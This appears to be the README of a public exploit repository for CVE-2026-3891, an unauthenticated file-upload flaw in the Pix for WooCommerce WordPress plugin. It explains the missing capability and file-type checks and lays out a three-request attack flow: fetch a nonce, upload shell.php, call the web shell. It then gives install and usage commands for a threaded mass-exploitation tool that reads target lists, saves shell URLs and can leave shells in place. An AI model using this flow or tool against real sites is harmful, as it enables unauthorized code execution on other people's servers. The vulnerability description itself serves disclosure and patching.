CVE-2026-3891

CVE-2026-3891 — Pix for WooCommerce Unauthenticated File Upload RCE

Nonce Leak → certificate_crt_path Upload → Code Execution

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Overview

CVE-2026-3891 is a critical-severity (CVSS 9.8) unauthenticated arbitrary file upload vulnerability in the Pix for WooCommerce WordPress plugin (by linknacional) versions ≤ 1.5.0.

The lkn_pix_for_woocommerce_c6_save_settings AJAX handler has:

1. No capability check — any unauthenticated visitor can call it
2. No file type validation — any file extension is accepted via the certificate_crt_path parameter
3. A valid nonce is freely obtainable via the lkn_pix_for_woocommerce_generate_nonce endpoint without authentication

Uploaded files land in the web-accessible directory /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/.

Affected Versions

Version	Status
≤ 1.5.0	Vulnerable
1.6.0+	Patched

Discovered by: Alexis Lafontaine via Wordfence (March 13, 2026)

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Vulnerability Mechanism

Root Cause

// Nonce generated without auth
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);

// Upload handler — no capability check, no file type validation
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_c6_save_settings', ...);
function c6_save_settings() {
    // No current_user_can() check
    // No wp_check_filetype() call
    move_uploaded_file($_FILES['certificate_crt_path']['tmp_name'], $dest);
}

Attack Flow

1. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_generate_nonce
   → Get valid nonce (no auth needed)
2. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_c6_save_settings
   → Upload shell.php via certificate_crt_path field
3. GET /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/shell.php
   → RCE

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Installation

git clone https://github.com/shinthink/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt

Usage

python cve_2026_3891.py -t target.com
python cve_2026_3891.py -f targets.txt -o shells.txt
python cve_2026_3891.py -t target.com --debug --no-cleanup

Arguments

  -t, --target      Single target
  -f, --file        Target list
  -o, --output      Save RCE URLs
  --threads         Workers (default: 30)
  --no-cleanup      Leave shells on target
  --debug           Show every request
  -v, --verbose     Verbose output

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Disclaimer

FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY. The authors assume no liability for misuse.

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References

Resource	Link
Wordfence Advisory	wordfence.com
NVD Entry	CVE-2026-3891
Researcher	Alexis Lafontaine

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_{Not affiliated with linknacional or Pix for WooCommerce.}